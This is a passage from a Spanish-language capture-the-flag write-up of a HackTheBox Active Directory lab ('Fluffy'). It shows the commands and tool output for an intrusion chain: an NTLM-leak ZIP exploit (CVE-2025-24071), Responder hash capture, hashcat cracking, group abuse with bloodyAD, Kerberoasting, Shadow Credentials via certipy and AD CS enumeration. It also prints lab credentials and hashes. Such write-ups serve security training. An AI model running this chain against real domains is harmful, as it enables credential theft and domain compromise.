&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;5842943&lt;/span&gt; blocks of size &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt;. &lt;span style="color:#ae81ff"&gt;1530895&lt;/span&gt; blocks available
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="pdf-con-cves"&gt;PDF con CVEs&lt;/h3&gt;
&lt;p&gt;En el share aparece un PDF con vulnerabilidades. Me lo descargo y veo lo siguiente:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-803d-8d6a-e781d2a1b179.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE ID
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24996&lt;/span&gt;--Critical
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24071&lt;/span&gt;--Critical
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;46785&lt;/span&gt;--High
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;29968&lt;/span&gt;--High
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;21193&lt;/span&gt;--Medium
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;3445&lt;/span&gt;--Low
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La que más me interesa aquí es &lt;strong&gt;CVE-2025-24071&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Windows Explorer automatically initiates an SMB authentication request when a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;library&lt;span style="color:#f92672"&gt;-&lt;/span&gt;ms file &lt;span style="color:#f92672"&gt;is&lt;/span&gt; extracted &lt;span style="color:#f92672"&gt;from&lt;/span&gt; a ZIP archive&lt;span style="color:#f92672"&gt;.&lt;/span&gt; This causes NTLM credentials
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#f92672"&gt;in&lt;/span&gt; hashed format) to be leaked to a remote SMB server controlled by the attacker&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No user interaction &lt;span style="color:#f92672"&gt;is&lt;/span&gt; required beyond extraction&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Uso este exploit:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.exploit-db.com/exploits/52310"&gt;https://www.exploit-db.com/exploits/52310&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8028-bae0-ebf957de58ee.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="captura-de-hash-ntlmv2-con-responder"&gt;Captura de hash NTLMv2 con Responder&lt;/h3&gt;
&lt;p&gt;Genero el ZIP malicioso y lo subo al share &lt;strong&gt;IT&lt;/strong&gt; (tengo escritura). En paralelo levanto Responder para capturar la autenticación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8014-a35e-d1510aafd26e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#e6db74"&gt;&amp;#39;//10.129.78.23/IT&amp;#39;&lt;/span&gt; -U fluffy.htb/j.fleischman&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;Try&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;help&amp;#34;&lt;/span&gt; to get a list of possible commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; \&amp;gt; put malicious.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;putting file malicious.zip as \malicious.zip (&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; kb/s) (average &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; kb/s)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Espero unos segundos y recibo el hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Client &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Username &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; FLUFFY\p.agila
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Hash &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; p.agila::FLUFFY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f74081931ace9d2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;B7AE54D953F98A9BAA7AF1FFA9A66B7E&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000802CFE656989DC01C70A4C638403E30B0000000002000800370039005800330001001E00570049004E002D003200500045004D0043004A00420048004F003600570004003400570049004E002D003200500045004D0043004A00420048004F00360057002E0037003900580033002E004C004F00430041004C000300140037003900580033002E004C004F00430041004C000500140037003900580033002E004C004F00430041004C0007000800802CFE656989DC01060004000200000008003000300000000000000001000000002000009A1D51B76B59C74DF9A070F2C83658F60E9885997FEED0398370D04783BA2D0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00340034000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crackeo con hashcat (modo &lt;code&gt;-m 5600&lt;/code&gt;) y obtengo la contraseña:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;P.AGILA::FLUFFY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f74081931ace9d2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b7ae54d953f98a9baa7af1ffa9a66b7e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000802cfe656989dc01c70a4c638403e30b0000000002000800370039005800330001001e00570049004e002d003200500045004d0043004a00420048004f003600570004003400570049004e002d003200500045004d0043004a00420048004f00360057002e0037003900580033002e004c004f00430041004c000300140037003900580033002e004c004f00430041004c000500140037003900580033002e004c004f00430041004c0007000800802cfe656989dc01060004000200000008003000300000000000000001000000002000009a1d51b76b59c74df9a070f2c83658f60e9885997feed0398370d04783ba2d0c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00340034000000000000000000&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;prometheusx-&lt;span style="color:#ae81ff"&gt;303&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;p.agila:prometheusx-303&lt;/p&gt;
&lt;h3 id="bloodhound-path-de-escalada"&gt;BloodHound: path de escalada&lt;/h3&gt;
&lt;p&gt;No encuentro demasiado enumerando directamente con este usuario, así que tiro de &lt;strong&gt;rusthound-ce&lt;/strong&gt; y analizo con BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce -u p.agila -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; --domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Veo un camino claro hacia &lt;code&gt;ca_svc&lt;/code&gt; (miembro de &lt;em&gt;cert publisher&lt;/em&gt;) desde &lt;code&gt;p.agila&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-802a-9f89-ce914dc839b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aprovecho permisos para añadir &lt;code&gt;p.agila&lt;/code&gt; al grupo &lt;code&gt;service accounts&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -u &lt;span style="color:#e6db74"&gt;&amp;#39;p.agila&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -d fluffy.htb --host &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 add groupMember &lt;span style="color:#e6db74"&gt;&amp;#39;service accounts&amp;#39;&lt;/span&gt; p.agila
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="kerberoasting-dirigido-targetedkerberoast"&gt;Kerberoasting dirigido (targetedKerberoast)&lt;/h3&gt;
&lt;p&gt;Ahora uso &lt;a href="http://targetedkerberoast.py/"&gt;&lt;code&gt;targetedKerberoast.py&lt;/code&gt;&lt;/a&gt; para extraer hashes. Antes sincronizo reloj.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Fluffy/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ntpdate fluffy.htb &amp;amp;&amp;amp; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;targetedKerberoast.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v -d &lt;span style="color:#e6db74"&gt;&amp;#39;fluffy.htb&amp;#39;&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;p.agila&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56.676545&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;+0100&lt;/span&gt;) &lt;span style="color:#ae81ff"&gt;+25199.665597&lt;/span&gt; +/- &lt;span style="color:#ae81ff"&gt;0.037951&lt;/span&gt; fluffy.htb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 s1 no-leap
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CLOCK&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; time stepped by &lt;span style="color:#ae81ff"&gt;25199.665597&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Starting kerberoast attacks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Fetching usernames from Active Directory with LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (ca_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$6b56d380186cf766215630dc2a4a2509$...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (ldap_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$170ab6e4fc848133b7b3af897c0300c2$...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (winrm_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$19c1771a343c902076eee1003cf0e4d5$...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Intento crackear, pero no saco nada útil.&lt;/p&gt;
&lt;h3 id="shadow-credentials-con-certipy"&gt;Shadow Credentials con Certipy&lt;/h3&gt;
&lt;p&gt;Cambio de enfoque y pruebo &lt;strong&gt;Shadow Credentials&lt;/strong&gt;. La idea aquí es modificar el atributo &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt; para poder autenticarse con PKINIT sin conocer la contraseña.&lt;/p&gt;
&lt;p&gt;Ejecuto:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad shadow auto -username p.agila@fluffy.htb -password &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -account ca_svc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;18.579036&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;+0100&lt;/span&gt;) &lt;span style="color:#ae81ff"&gt;+25199.672015&lt;/span&gt; +/- &lt;span style="color:#ae81ff"&gt;0.024036&lt;/span&gt; fluffy.htb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 s1 no-leap
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CLOCK&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; time stepped by &lt;span style="color:#ae81ff"&gt;25199.672015&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v4.8.2 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Targeting user &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Certificate generated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating Key Credential
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Key Credential generated with DeviceID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Adding Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Authenticating as &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt; with the certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ca_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Got error&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Kerberos SessionError&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; KRB_AP_ERR_SKEW(Clock skew too great)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Use -debug to print a stacktrace
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aunque aquí no saco el NT hash por el &lt;em&gt;clock skew&lt;/em&gt;, sí obtengo un TGT. Luego vuelvo atrás para corregir la parte de sincronización y generar el &lt;code&gt;.pfx&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad shadow add -username p.agila@fluffy.htb -password &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -account ca_svc -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Targeting user &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Certificate generated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating Key Credential
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Key Credential generated with DeviceID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Adding Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved certificate and private key to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el &lt;code&gt;.pfx&lt;/code&gt; ya puedo pedir el hash NT:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad auth -pfx ca_svc.pfx -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -username ca_svc -domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[!] Could not find identification &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; the provided certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ca_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc@fluffy.htb&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ca0f4f9e9eb8a092addf53bb03fc98c8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A partir de aquí, asumo que tengo delante una infraestructura &lt;strong&gt;AD CS&lt;/strong&gt; (por la cuenta de servicio de CA).&lt;/p&gt;
&lt;h3 id="enumeración-ad-cs-y-detección-de-esc16"&gt;Enumeración AD CS y detección de ESC16&lt;/h3&gt;
&lt;p&gt;Busco plantillas/vulnerabilidades con Certipy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy-ad find -u &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt; -hashes &lt;span style="color:#e6db74"&gt;&amp;#39;:ca0f4f9e9eb8a092addf53bb03fc98c8&amp;#39;&lt;/span&gt; -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -vulnerable -enabled -stdout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [!] Vulnerabilities
